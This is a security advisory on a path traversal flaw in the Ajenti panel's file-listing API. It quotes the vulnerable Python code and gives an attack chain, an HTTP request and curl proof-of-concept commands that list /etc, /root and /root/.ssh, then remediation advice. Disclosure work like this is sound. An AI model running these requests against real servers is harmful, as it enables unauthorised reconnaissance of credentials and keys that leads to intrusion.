

Ajenti Path Traversal — Arbitrary Directory File Listing Disclosure

System Fingerprint Status

Affected scope: All versions of Ajenti (the vulnerability has existed since the vulnerable code was introduced and remains unpatched after the project was discontinued in 2020).

Vulnerability Analysis

Vulnerability Overview

- **Issue Type:** Path Traversal (CWE-22)
- **Impact Description:** Any authenticated user holding the `filesystem:read` permission (granted to all users by default) can list the contents of arbitrary directories on the server via the `path` parameter of the file manager API, including sensitive system directories (`/etc`, `/root`, `/home`, etc.). This enables the attacker to obtain system configurations, user files, SSH keys, and other sensitive information, facilitating information gathering for further attacks.
- **Affected Path:** `GET /api/filesystem/list/(?P<path>.+)` → all directory browsing functionality of the file manager.

Vulnerable Code

① Entry Point: URL regex captures the path parameter with no validation whatsoever

`plugins/filesystem/views.py:210-213`

```
1 @get(r'/api/filesystem/list/(?P<path>.+)')
2 @authorize('filesystem:read')
3 @endpoint(api=True)
4 def handle_api_fs_list(self, http_context, path=None):
5     # path comes directly from URL regex capture, no path validation
6     if not os.path.exists(path):
7         raise EndpointReturn(404)
8     for name in os.listdir(path):        # ← directly passed to os.listdir!
```

```
9 item_path = os.path.join(path, name)
```

② Sink: `os.listdir()` and `os.path.join()` accept arbitrary paths

```
1 for name in os.listdir(path):          # ← /etc, /root, /home – any directory
2     item_path = os.path.join(path, name)
3     data = {
4         'name': name,                  # ← filename disclosure
5         'path': item_path,             # ← full path disclosure
6         'isDir': os.path.isdir(item_path),
7         'size': os.stat(item_path).st_size, # ← file size disclosure
8         'mode': stat.st_mode,          # ← permission bits disclosure
9         'mtime': stat.st_mtime,        # ← modification time disclosure
10        'uid': stat.st_uid,             # ← owner UID disclosure
11        'gid': stat.st_gid,             # ← group GID disclosure
12    }
```

Attack Chain

```
1 Authenticated attacker → GET /api/filesystem/list/%2Fetc
2   → os.listdir("/etc") → lists system configuration directory
3   → returns filenames such as shadow, passwd, ssh, apache2, etc.
4 Authenticated attacker → GET /api/filesystem/list/%2Froot
5   → os.listdir("/root") → lists root user's home directory
6   → returns sensitive filenames such as .ssh, .bash_history, etc.
7 Authenticated attacker → GET /api/filesystem/list/%2Froot%2F.ssh
8   → os.listdir("/root/.ssh") → lists SSH key directory
9   → returns id_rsa, authorized_keys filenames
```

Vulnerability Reproduction

Deployment Reference

```
1 pip install ajenti-panel
2 ajenti-panel # listens on :8000 by default
```

Prerequisites

- Possess valid Ajenti login credentials (`filesystem:read` is a default permission)
- Ability to send HTTP requests to the Ajenti server

Steps

1. Log in to Ajenti to obtain a session cookie
2. Send a GET request to traverse system directories

```
1 GET /api/filesystem/list/%2Fetc HTTP/1.1
2 Host: target:8000
3 Cookie: session=<valid_session>
```

1. The response returns the complete contents of the `/etc` directory:

```
1 {
2   "parent": "/",
3   "items": [
4     {"name": "shadow", "path": "/etc/shadow", "isFile": true, "size": 1024,
5      "mode": 33152},
6     {"name": "passwd", "path": "/etc/passwd", "isFile": true, "size": 2048,
7      "mode": 33152},
8     {"name": "ssh", "path": "/etc/ssh", "isDir": true, "size": 0},
9     ...
10  ]
11 }
```

PoC

```
1 # List /etc directory
2 curl -s -H "Cookie: session=..."
   "http://target:8000/api/filesystem/list/%2Fetc" | jq .items[].name
3
4 # List /root directory
5 curl -s -H "Cookie: session=..."
   "http://target:8000/api/filesystem/list/%2Froot" | jq .items[].name
6
7 # Confirm existence of SSH private keys
```

```
8 curl -s -H "Cookie: session=..."  
  "http://target:8000/api/filesystem/list/%2Froot%2F.ssh"
```

Remediation Recommendations

1. **Server-side Path Restriction:** Implement whitelist validation on the `path` parameter within `handle_api_fs_list`. Use `os.path.realpath()` to resolve the path and then verify that it resides within the permitted base directory.
2. **Frontend Layer:** The file manager UI should not expose raw file paths; use virtual path mapping instead.
3. **Deployment Side:** Upgrade Ajenti or migrate to an actively maintained alternative (e.g., Cockpit).